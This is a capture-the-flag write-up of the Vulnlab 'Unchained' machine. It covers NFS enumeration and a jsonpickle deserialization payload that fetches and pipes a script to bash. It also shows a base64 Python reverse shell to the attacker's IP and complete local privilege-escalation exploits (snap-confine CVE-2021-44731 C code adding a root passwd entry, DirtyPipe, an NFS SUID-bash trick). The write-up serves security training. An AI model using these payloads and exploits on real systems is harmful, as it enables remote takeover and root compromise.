POSTS

VULNLAB: Unchained

Unchained is a Medium-rated Linux machine available on Vulnlab platform. Starting with NFS share enumeration then a source code analysis allows a JSONPICKLE deserialization to obtain a reverse shell as user. For the privilege escalation, CVE-2021-44730 (Dirty snap-confine LPE) or CVE-2022-0847 (DirtyPipe) can be exploited.

VULNLAB: Unchained
2822 words · 14 min

Overview

  • Type Machines
  • OS Linux
  • Severity Medium
  • Creator xct
  • Release date 2022 Mars 4

Enumeration

Start the instance via Discord and let’s go:

image

10.10.90.15

Nmap

$ nmap -sC -sV -Pn -p- --min-rate=1000 -T4 10.10.90.15
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-21 08:25 JST
Nmap scan report for 10.10.90.15
Host is up (0.23s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 19:cd:cd:9b:a6:87:8d:83:f3:da:16:e6:ad:ef:6a:09 (RSA)
|   256 04:f9:60:b2:6f:9f:ff:ff:34:f8:27:81:80:6f:8e:c3 (ECDSA)
|_  256 95:3b:5f:7a:6c:7a:07:c8:02:95:c5:5d:b0:9a:97:67 (ED25519)
111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      13025/tcp   mountd
|   100005  1,2,3      13025/tcp6  mountd
|   100005  1,2,3      13025/udp   mountd
|   100005  1,2,3      13025/udp6  mountd
|   100021  1,3,4      43693/tcp6  nlockmgr
|   100021  1,3,4      45189/tcp   nlockmgr
|   100021  1,3,4      48499/udp6  nlockmgr
|   100021  1,3,4      58787/udp   nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
8000/tcp open  http    Werkzeug httpd 2.0.3 (Python 3.8.10)
|_http-server-header: Werkzeug/2.0.3 Python/3.8.10
|_http-title: 404 Not Found
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Found that we have only SSH, NFS and a WEB app open

NFS (111/tcp)

To view the different mounts on NFS, we can use nmap:

$ nmap --script=nfs-ls,nfs-statfs,nfs-showmount -Pn -p 111 10.10.90.15 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-21 09:55 JST
Nmap scan report for 10.10.90.15
Host is up (0.24s latency).

PORT    STATE SERVICE
111/tcp open  rpcbind
| nfs-statfs: 
|   Filesystem       1K-blocks  Used       Available  Use%  Maxfilesize  Maxlink
|_  /var/nfs/backup  8065444.0  2066328.0  5982732.0  26%   16.0T        32000
| nfs-ls: Volume /var/nfs/backup
|   access: Read Lookup Modify Extend Delete NoExecute
| PERMISSION  UID    GID    SIZE   TIME                 FILENAME
| rwxr-xr-x   65534  65534  4096   2022-02-26T17:52:39  .
| ??????????  ?      ?      ?      ?                    ..
| rw-r--r--   0      0      12970  2022-02-26T17:52:39  code.zip
|_
| nfs-showmount: 
|_  /var/nfs/backup *

Or we can browse the NFS interface using showmount:

$ showmount -e 10.10.90.15 
Export list for 10.10.90.15:
/var/nfs/backup *

Found /var/nfs/backup

We mount the /var/nfs/backup NFS share to our machine to be able to see all the contents:

$ sudo mkdir /mnt/backup                      
$ sudo mount -t nfs -o vers=3 10.10.90.15:/var/nfs/backup /mnt/backup -o nolock

Copy the archive to our machine then uncompress it:

$ cp /mnt/backup/code.zip .     
$ unzip code.zip 

Quick check and we can see that is related to the app running on port 8000/tcp:

$ cd code 
$ cat Main.py                            

from Transaction import Transaction
from Wallet import Wallet
from TransactionPool import TransactionPool
from Block import Block
from Blockchain import Blockchain
import pprint
from BlockchainUtils import BlockchainUtils
from AccountModel import AccountModel
from Node import Node
import sys

if __name__ == '__main__':
    ip = "0.0.0.0"
    port = 5000
    apiPort = 8000
    keyFile = None
    node = Node(ip, port, keyFile)
    node.startP2P()
    node.startAPI(apiPort)

We unmount the NFS share:

$ sudo umount /mnt/backup

JSONPICKLE deserialization attacking

Source code analysis

Checking with Google with some keywords, we can see some interesting articles:

image

We can see that our current source code files are related to this project rafrasenberg’s proof of stake blockchain:

image

$ cat Blockchain.py

from Block import Block
from BlockchainUtils import BlockchainUtils
from AccountModel import AccountModel
from ProofOfStake import ProofOfStake


class Blockchain():

    def __init__(self):
        self.blocks = [Block.genesis()]
        self.accountModel = AccountModel()
        self.pos = ProofOfStake()

    def addBlock(self, block):
        self.executeTransactions(block.transactions)
        self.blocks.append(block)

    def toJson(self):
        data = {}
        jsonBlocks = []
        for block in self.blocks:
            jsonBlocks.append(block.toJson())
        data['blocks'] = jsonBlocks
        return data

    def blockCountValid(self, block):
        if self.blocks[-1].blockCount == block.blockCount - 1:
            return True
        else:
            return False

    def lastBlockHashValid(self, block):
        latestBlockchainBlockHash = BlockchainUtils.hash(
            self.blocks[-1].payload()).hexdigest()
        if latestBlockchainBlockHash == block.lastHash:
            return True
        else:
            return False

    def getCoveredTransactionSet(self, transactions):
        coveredTransactions = []
        for transaction in transactions:
            if self.transactionCovered(transaction):
                coveredTransactions.append(transaction)
            else:
                print('transaction is not covered by sender')
        return coveredTransactions
...

By extension it’s related to this Udemy - build your own proof of stake blockchain’s course.

Checking all files, we can find the endpoints (routes in Python) in the the NodeAPI.py:

  • /info
  • /blockchain
  • /transactionPool
  • /transaction
$ cat NodeAPI.py
 
from flask_classful import FlaskView, route
from flask import Flask, jsonify, request
from BlockchainUtils import BlockchainUtils

node = None


class NodeAPI(FlaskView):

    def __init__(self):
        self.app = Flask(__name__)

    def start(self, port):
        NodeAPI.register(self.app, route_base='/')
        self.app.run(host='0.0.0.0', port=port)

    def injectNode(self, injectedNode):
        global node
        node = injectedNode

    @route('/info', methods=['GET'])
    def info(self):
        return 'This is a communiction interface to a nodes blockchain', 200

    @route('/blockchain', methods=['GET'])
    def blockchain(self):
        return node.blockchain.toJson(), 200

    @route('/transactionPool', methods=['GET'])
    def transactionPool(self):
        transactions = {}
        for ctr, transaction in enumerate(node.transactionPool.transactions):
            transactions[ctr] = transaction.toJson()
        return jsonify(transactions), 200

    @route('/transaction', methods=['POST'])
    def transaction(self):
        values = request.get_json()
        if not 'transaction' in values:
            return 'Missing transaction value', 400
        transaction = BlockchainUtils.decode(values['transaction'])
        node.handleTransaction(transaction)
        response = {'message': 'Received transaction'}
        return jsonify(response), 201

We can see that when we send a POST request to /transaction, the transaction value of the JSON request will be handled to the BlockchainUtils.decode function:

...
    @route('/transaction', methods=['POST'])
    def transaction(self):
        values = request.get_json()
        if not 'transaction' in values:
            return 'Missing transaction value', 400
        transaction = BlockchainUtils.decode(values['transaction'])
...

Check the BlockchainsUtils.py file and we can find that the decode function uses jsonpickle to decode our transaction value:

$ cat BlockchainUtils.py 

from Crypto.Hash import SHA256
import json
import jsonpickle

class BlockchainUtils():

    @staticmethod
    def hash(data):
        dataString = json.dumps(data)
        dataBytes = dataString.encode('utf-8')
        dataHash = SHA256.new(dataBytes)
        return dataHash

    @staticmethod
    def encode(objectToEncode):
        return jsonpickle.encode(objectToEncode, unpicklable=True)

    @staticmethod
    def decode(encodedObject):
        return jsonpickle.decode(encodedObject)

We know that some versions of jsonpickle are vulnerable against a deserialization attack, more information at CVE-2020-22083.

After some research we found a good articlet with many sources on how to exploit this:

POC staging

We can create a local POC to create and try our payload (as we have the source code).

For this we can use a prepared vulnerable docker container: https://hub.docker.com/r/dockerbucket/insecure_deserialization

We just need to add the vulnerable part of our target app into the vulnflaskapp.py and adjust it a little bit to get it working as well:

@app.route('/transaction', methods=['POST'])
def transaction():
    values = request.get_json()
    if not 'transaction' in values:
        return 'Missing transaction value', 400
    transaction = jsonpickle.decode(values['transaction'])
    response = {'message': 'Received transaction'}
    return response, 201

Start the container and mount the app directory to the container, so we can now investigate the console log:

docker run -p 3000:3000 -v /test/:/root --rm --name pickle dockerbucket/insecure_deserialization:latest

In many blog posts about the vulnerability there is some base64 encoding and decoding involved which is not the case in our target app.

After some tests and checking the console log, we conclude that we need to provide a complete string, after escaping all quotes and using the following payload we still get a 500 error from the server but we got command execution in the container:

{"transaction" : " {\"py/object\": \"__builtin__.eval\", \"py/initargs\": {\"py/tuple\": [\"__import__('subprocess').Popen('ls', shell=True)\"]}}"
}

Target exploiting (vulnchain) (Unchained_User)

We use our latest version of our payload below:

{"transaction" : " {\"py/object\": \"__builtin__.eval\", \"py/initargs\": {\"py/tuple\": [\"__import__('subprocess').Popen('wget -O - 10.8.4.253/rev.sh | bash', shell=True)\"]}}"
}

Or, we can also use this payload (using base64decode):

{
"transaction": "{\"py\/object\": \"__main__.Transaction\", \"syl\": {\"py\/reduce\": [{\"py\/type\": \"subprocess.Popen\"}, {\"py\/tuple\": [{\"py\/tuple\": [\"python3\", \"-c\", \"import base64;exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjguNC4yNTMiLDQ0MykpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtpbXBvcnQgcHR5OyBwdHkuc3Bhd24oImJhc2giKQ=='))\"]}]}]}}"
}

The base64 encoded string is in clear text a python reverse shell:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.4.253",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")

Set a Netcat listener:

$ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...

Send the POST request via cURL (or using Burp then intercept the request, send it to Repeater and modify it then forward to the target):

$ curl --path-as-is -i -s -k http://10.10.90.15:8000/transaction -H $'Content-Type: application/json' -H $'Content-Length: 513' --data-binary $'{\x0d\x0a\"transaction\": \"{\\\"py\\/object\\\": \\\"__main__.Transaction\\\", \\\"syl\\\": {\\\"py\\/reduce\\\": [{\\\"py\\/type\\\": \\\"subprocess.Popen\\\"}, {\\\"py\\/tuple\\\": [{\\\"py\\/tuple\\\": [\\\"python3\\\", \\\"-c\\\", \\\"import base64;exec(base64.b64decode(\'aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjguNC4yNTMiLDQ0MykpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtpbXBvcnQgcHR5OyBwdHkuc3Bhd24oImJhc2giKQ==\'))\\\"]}]}]}}\"\x0d\x0a}' -X POST

HTTP/1.0 500 INTERNAL SERVER ERROR
Content-Type: text/html; charset=utf-8
Content-Length: 290
Server: Werkzeug/2.0.3 Python/3.8.10
Date: Tue, 21 Jan 2025 03:32:09 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>

Then we got our shell as vulnchain:

 rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.8.4.253] from (UNKNOWN) [10.10.90.15] 54462
vulnchain@ip-10-10-10-14:~/app/code$ id
id
uid=1001(vulnchain) gid=1001(vulnchain) groups=1001(vulnchain)

Then we grab the flag Unchained_User:

vulnchain@ip-10-10-10-14:~/app/code$ ls /home/vulnchain
app  user.txt

vulnchain@ip-10-10-10-14:~/app/code$ cat /home/vulnchain/user.txt
VL{6b910b4716612e4864524a5cd2425edc}

Privilege escalation (Unchained_Root)

Intended way - CVE-2021-44730 (Dirty snap-confine LPE)

After that and after a bit of enumeration we can see that snap is in the user folder which kind-a hints that. The vulnerability is CVE-2021-44731.

  1. Manual exploitation:

Generate a new password for the new root account toor (will be added in /etc/passwd in the next step):

  1. with Perl:
$ perl -le 'print crypt("toor","aa")'                                            
aalIoK7SGUI2k
  1. with Python:
$ python3 -c "import crypt; password=crypt.crypt('toor','aa'); print(password)"  
<string>:1: DeprecationWarning: 'crypt' is deprecated and slated for removal in Python 3.13
aalIoK7SGUI2k

Create the pre-requirements:

vulnchain@ip-10-10-10-14:~$ mkdir -m 0700 ~/.Private
vulnchain@ip-10-10-10-14:~$ cd ~/.Private
vulnchain@ip-10-10-10-14:~/.Private$ mkdir -m 0700 .tmp
vulnchain@ip-10-10-10-14:~/.Private$ cd .tmp
vulnchain@ip-10-10-10-14:~/.Private/.tmp$ ln -i /usr/lib/snapd/snap-confine ./
vulnchain@ip-10-10-10-14:~/.Private/.tmp$ cp -i "$(which true)" snap-update-ns

Write a new user to the passwd file:

vulnchain@ip-10-10-10-14:~/.Private/.tmp$ cat > snap-discard-ns.c << "EOF"
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>

int main(void) {
    if (setuid(0)) _exit(__LINE__);
    if (setgid(0)) _exit(__LINE__);

    FILE * const fp = fopen("/proc/self/attr/exec", "w");
    if (!fp) _exit(__LINE__);
    if (fputs("exec snap.lxd.daemon", fp) < 0) _exit(__LINE__);
    if (fclose(fp)) _exit(__LINE__);

    char * const argv[] = { "/bin/bash", "-c", "exec aa-exec -p unconfined -- "
        "/bin/bash -c 'echo toor:aalIoK7SGUI2k:0:0:root:/root:/bin/bash >> /etc/passwd; cat /proc/self/attr/current'", NULL };
    execve(*argv, argv, NULL);
    _exit(__LINE__);
}
EOF

Compile it and execute it:

vulnchain@ip-10-10-10-14:~/.Private/.tmp$ gcc -o snap-discard-ns snap-discard-ns.c
vulnchain@ip-10-10-10-14:~/.Private/.tmp$ env -i SNAPD_DEBUG=1 SNAP_INSTANCE_NAME=lxd aa-exec -p /usr/lib/snapd/snap-confine -- ./snap-confine --base snapd snap.lxd.daemon /nonexistent

Double check:

vulnchain@ip-10-10-10-14:~/.Private/.tmp$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ec2-instance-connect:x:112:65534::/nonexistent:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
vulnchain:x:1001:1001:,,,:/home/vulnchain:/bin/bash
_rpc:x:113:65534::/run/rpcbind:/usr/sbin/nologin
statd:x:114:65534::/var/lib/nfs:/usr/sbin/nologin
toor:aalIoK7SGUI2k:0:0:root:/root:/bin/bash

Confirmed that our new root account toor is here

Now we just need to login as the new root account toor then be able to grab the last flag:

vulnchain@ip-10-10-10-14:~/.Private/.tmp$ su toor
Password: toor

root@ip-10-10-10-14:/home/vulnchain/.Private/.tmp# cat /root/root.txt
VL{bc0b3646a5746896b079065b3724c985}
  1. Automatic exploitation:

Set a local web server:

$ python3 -m http.server 80                                                                                                    
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Set a Netcat listener:

$ rlwrap -cAr nc -lvnp 4443                     
listening on [any] 4443 ...

Using the POC , we can exploit automatically the LPE:

Grab it and modify it with our machine IP and our Netcat listening port:

$ git clone https://github.com/deeexcee-io/CVE-2021-44731-snap-confine-SUID.git

Upload it to the target then execute it:

vulnchain@ip-10-10-10-14:~$ cd /tmp
vulnchain@ip-10-10-10-14:/tmp$ curl 10.8.4.253/snap_confine_LPE.sh -o snap_confine_LPE.sh
vulnchain@ip-10-10-10-14:/tmp$ chmod +x snap_confine_LPE.sh
vulnchain@ip-10-10-10-14:/tmp$ ./snap_confine_LPE.sh
Non-vulnerable version found: 2.54.3
Vulnerable version found: 2.44.3 at /usr/lib/snapd/snap-confine
Vulnerable version found: 2.44.3 at /home/vulnchain/.Private/.tmp/snap-confine
Performing actions with a vulnerable version...
Chosen vulnerable version: 2.44.3
DEBUG: umask reset, old umask was  022
DEBUG: security tag: snap.lxd.daemon
DEBUG: executable:   /nonexistent
DEBUG: confinement:  non-classic
DEBUG: base snap:    snapd
DEBUG: ruid: 1001, euid: 0, suid: 0
DEBUG: rgid: 1001, egid: 1001, sgid: 1001
DEBUG: apparmor label on snap-confine is: /usr/lib/snapd/snap-confine
DEBUG: apparmor mode is: enforce
DEBUG: creating lock directory /run/snapd/lock (if missing)
DEBUG: set_effective_identity uid:0 (change: no), gid:0 (change: yes)
DEBUG: opening lock directory /run/snapd/lock
DEBUG: set_effective_identity uid:0 (change: no), gid:1001 (change: yes)
DEBUG: opening lock file: /run/snapd/lock/.lock
DEBUG: set_effective_identity uid:0 (change: no), gid:0 (change: yes)
DEBUG: set_effective_identity uid:0 (change: no), gid:1001 (change: yes)
DEBUG: sanity timeout initialized and set for 30 seconds
DEBUG: acquiring exclusive lock (scope (global), uid 0)
DEBUG: sanity timeout reset and disabled
DEBUG: ensuring that snap mount directory is shared
DEBUG: unsharing snap namespace directory
DEBUG: set_effective_identity uid:0 (change: no), gid:0 (change: yes)
DEBUG: set_effective_identity uid:0 (change: no), gid:1001 (change: yes)
DEBUG: releasing lock 5
DEBUG: opened snap-update-ns executable as file descriptor 5
DEBUG: opened snap-discard-ns executable as file descriptor 6
DEBUG: creating lock directory /run/snapd/lock (if missing)
DEBUG: set_effective_identity uid:0 (change: no), gid:0 (change: yes)
DEBUG: opening lock directory /run/snapd/lock
DEBUG: set_effective_identity uid:0 (change: no), gid:1001 (change: yes)
DEBUG: opening lock file: /run/snapd/lock/lxd.lock
DEBUG: set_effective_identity uid:0 (change: no), gid:0 (change: yes)
DEBUG: set_effective_identity uid:0 (change: no), gid:1001 (change: yes)
DEBUG: sanity timeout initialized and set for 30 seconds
DEBUG: acquiring exclusive lock (scope lxd, uid 0)
DEBUG: sanity timeout reset and disabled
DEBUG: initializing mount namespace: lxd
DEBUG: snappy_udev_init
DEBUG: forked support process 1333
DEBUG: block device of snap snapd, revision 14978 is 7:1
DEBUG: sanity timeout initialized and set for 30 seconds
DEBUG: joining preserved mount namespace for inspection
DEBUG: block device of the root filesystem is 7:0
DEBUG: sanity timeout reset and disabled
DEBUG: preserved mount namespace is stale and base snap has changed, discarding
DEBUG: set_effective_identity uid:0 (change: no), gid:0 (change: yes)
DEBUG: calling snapd tool snap-discard-ns
DEBUG: waiting for snapd tool snap-discard-ns to terminate
DEBUG: changing apparmor hat to mount-namespace-capture-helper
DEBUG: helper process waiting for command
DEBUG: sanity timeout initialized and set for 30 seconds
sanity timeout expired: Interrupted system call

We got our shell as root and grab the flag Unchained_Root:

$ rlwrap -cAr nc -lvnp 4443                     
listening on [any] 4443 ...
connect to [10.8.4.253] from (UNKNOWN) [10.10.90.15] 49660
root@ip-10-10-10-14:/# cat /root/root.txt
cat /root/root.txt
VL{bc0b3646a5746896b079065b3724c985}

Unintended way - CVE-2022-0847 (DirtyPipe)

We upload and execute Linpeas that show us this machine is vulnerable against dirty pipe.

We use this exploit CVE-2022-0847-DirtyPipe-Exploits.

$ git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git

Set a local web server:

$ python3 -m http.server 80                                                                                                    
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

We uploaded exploits to the target:

vulnchain@ip-10-10-10-14:/tmp$ curl 10.8.4.253/compile.sh -o compile.sh
vulnchain@ip-10-10-10-14:/tmp$ curl 10.8.4.253/exploit-1.c -o exploit-1.c
vulnchain@ip-10-10-10-14:/tmp$ curl 10.8.4.253/exploit-2.c -o exploit-2.c

We compile them on the target:

vulnchain@ip-10-10-10-14:/tmp$ chmod +x compile.sh                
vulnchain@ip-10-10-10-14:/tmp$ ./compile.sh

Then let’s go:

vulnchain@ip-10-10-10-14:/tmp$ ./exploit-1
./exploit-1
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "piped"...
Password: Restoring /etc/passwd from /tmp/passwd.bak...
Done! Popping shell... (run commands now)

id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
VL{bc0b3646a5746896b079065b3724c985}

Smart way - by jkr

It was mostly putting 2 and 2 together of things I knew:

  • UID 1000 is usually in sudoers on Ubuntu (also on AWS as you do not log in with root into the EC2 instances)
  • The NFS server (besides root squash, which effectively sets uid 0 to 65535) is not having any security regarding the UIDs the client gives it.

So the plan was: instead of getting UID 0 (which is impossible as root-squash was enabled) just get UID 1000 and sudo.

That being said there may be other ways to get yourself root once you have NFS access to a directory that has not disabled suid. Using disk group is a nice thing as well, also depending on the OS it may also be possible to change polkitd group. I feel if NFS was not such an old shit no one would see anymore that a challenge “you have an NFS share, just get root somehow” would have many different solutions and would be really funny 😉

  1. root on attacker box:
root@ubu:~# mount 10.10.111.140:/var/nfs/backup /mnt
root@ubu:~# cd /mnt
root@ubu:/mnt# chmod 777 .
root@ubu:/mnt# ls -la
total 24
drwxrwxrwx  2 nobody nogroup  4096 Jun  7 19:14 .
drwxr-xr-x 26 root   root     4096 Mai 24 14:36 ..
-rw-r--r--  1 root   root    12970 Feb 26  2022 code.zip
  1. uid=1000 on attacker box:
jkr@ubu(10.8.0.96):/mnt$ id
uid=1000(jkr) gid=1000(jkr) groups=1000(jkr)
jkr@ubu(10.8.0.96):/mnt$ scp vulnchain@10.10.111.140:/bin/bash .
bash                                  100% 1156KB   1.0MB/s   00:01
jkr@ubu(10.8.0.96):/mnt$ chmod u+s bash
jkr@ubu(10.8.0.96):/mnt$ ls -la
total 1180
drwxrwxrwx  2 nobody nogroup    4096 Jun  7 19:16 .
drwxr-xr-x 26 root   root       4096 Mai 24 14:36 ..
-rwsr-xr-x  1 jkr    jkr     1183448 Jun  7 19:16 bash             <================
-rw-r--r--  1 root   root      12970 Feb 26  2022 code.zip
  1. vulnchain on unchained:
vulnchain@ip-10-10-10-14:~$ cd /var/nfs/backup/
vulnchain@ip-10-10-10-14:/var/nfs/backup$ ls -la
total 1180
drwxrwxrwx 2 nobody nogroup    4096 Jun  7 17:16 .
drwxr-xr-x 3 root   root       4096 Feb 26  2022 ..
-rwsr-xr-x 1 ubuntu ubuntu  1183448 Jun  7 17:16 bash             <================
-rw-r--r-- 1 root   root      12970 Feb 26  2022 code.zip

vulnchain@ip-10-10-10-14:/var/nfs/backup$ ./bash -p
bash-5.0$ id
uid=1001(vulnchain) gid=1001(vulnchain) euid=1000(ubuntu) groups=1001(vulnchain)
bash-5.0$ ls -la /home/ubuntu/.ssh/
total 12
drwx------ 2 ubuntu ubuntu 4096 Feb 26  2022 .
drwxr-xr-x 4 ubuntu ubuntu 4096 Feb 26  2022 ..
-rw------- 1 ubuntu ubuntu  398 Jun  7 17:06 authorized_keys
bash-5.0$ echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC4158wv5OLgPQpCWywPduIXaY9kda1Ew8U+dWsOlrV3 >> /home/ubuntu/.ssh/authorized_keys
  1. ubuntu on unchained:
jkr@ubu(10.8.0.96):~$ ssh ubuntu@10.10.111.140
ubuntu@ip-10-10-10-14:~$ sudo -l
Matching Defaults entries for ubuntu on ip-10-10-10-14:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User ubuntu may run the following commands on ip-10-10-10-14:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
ubuntu@ip-10-10-10-14:~$ sudo id
uid=0(root) gid=0(root) groups=0(root)

Regarding “gets me nobody by default”:

  • This is when you do things as root as there is “nfs root squash”, which means anything done by root on the NFS share is mapped to nobody. That’s why you need to chmod 777 the directory and do all the stuff with non-root (here uid=1000, as you need uid=1000 to be ubuntu on the box).

Extra

Challenge solved! Use this link to share it: https://api.vulnlab.com/api/v1/share?id=0b16ad5c-2fed-4a02-a6e8-04dc68adea89

UNCHAINED